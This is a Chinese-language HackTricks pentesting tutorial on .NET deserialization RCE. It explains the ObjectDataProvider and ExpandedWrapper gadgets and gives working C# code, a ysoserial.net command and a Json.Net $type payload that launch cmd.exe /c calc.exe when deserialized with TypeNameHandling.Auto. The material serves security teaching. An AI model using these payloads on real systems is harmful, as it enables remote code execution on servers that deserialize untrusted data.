hacktricks/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
2023-08-03 19:12:22 +00:00

10 KiB
Raw Blame History

基本的 .Net 反序列化ObjectDataProvider gadgetExpandedWrapper 和 Json.Net

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

本文旨在理解如何利用 ObjectDataProvider gadget 来获取 RCE,以及如何使用 Serialization 库 Json.Net 和 xmlSerializer 来滥用该 gadget。

ObjectDataProvider Gadget

根据文档:ObjectDataProvider 类封装并创建一个可以用作绑定源的对象。
是的,这是一个奇怪的解释,所以让我们看看这个类有什么有趣的地方:这个类允许包装任意对象,使用 MethodParameters设置任意参数,然后使用 MethodName 来调用声明使用任意参数的任意对象的任意函数。
因此,这个任意的对象将在反序列化时执行一个带有参数的函数

这是如何实现的

ObjectDataProvider 在 System.Windows.Data 命名空间中定义和实现,该命名空间位于 PresentationFramework.dll (C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF)。

使用 dnSpy 可以检查我们感兴趣的类的代码。在下面的图像中,我们正在查看 PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name 的代码。

正如你所看到的,当设置 MethodName 时,会调用 base.Refresh(),让我们看看它做了什么:

好的,让我们继续看看 this.BeginQuery() 做了什么。BeginQueryObjectDataProvider 重写,以下是它的代码:

请注意,在代码的末尾,它调用了 this.QueryWorke(null)。让我们看看它执行了什么:

请注意,这不是 QueryWorker 函数的完整代码,但它显示了其中有趣的部分:代码调用了 this.InvokeMethodOnInstance(out ex);,这是调用设置的方法的行。

如果你想检查只设置 MethodName 就会被执行的情况,你可以运行以下代码:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

请注意您需要添加引用_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_以加载System.Windows.Data

ExpandedWrapper

使用先前的漏洞利用,有些情况下对象将被反序列化为_ObjectDataProvider_实例例如在DotNetNuke漏洞中使用XmlSerializer对象是使用GetType进行反序列化的。然后我们对包装在_ObjectDataProvider_实例中的对象类型没有任何了解(例如Process)。您可以在此处找到有关DotNetNuke漏洞的更多信息

这个类允许指定封装在给定实例中的对象类型。因此,可以使用这个类将源对象(ObjectDataProvider)封装到一个新的对象类型中,并提供我们需要的属性(ObjectDataProvider.MethodName_和_ObjectDataProvider.MethodParameters)。
这对于前面提到的情况非常有用因为我们将能够将_ObjectDataProvider_包装在_ExpandedWrapper_实例中当进行反序列化时,这个类将创建在_MethodName_中指定的函数。

您可以使用以下代码检查此包装器:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

官方网页中指出这个库允许使用Json.NET的强大JSON序列化器对任何.NET对象进行序列化和反序列化。因此,如果我们能够反序列化ObjectDataProvider gadget,我们就可以通过反序列化一个对象来引发远程命令执行RCE

Json.Net示例

首先,让我们看一个使用这个库进行序列化/反序列化对象的示例:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

滥用Json.Net

使用ysoserial.net我创建了以下的漏洞利用:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

在这段代码中,你可以测试漏洞,只需运行它,你将看到计算器被执行:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥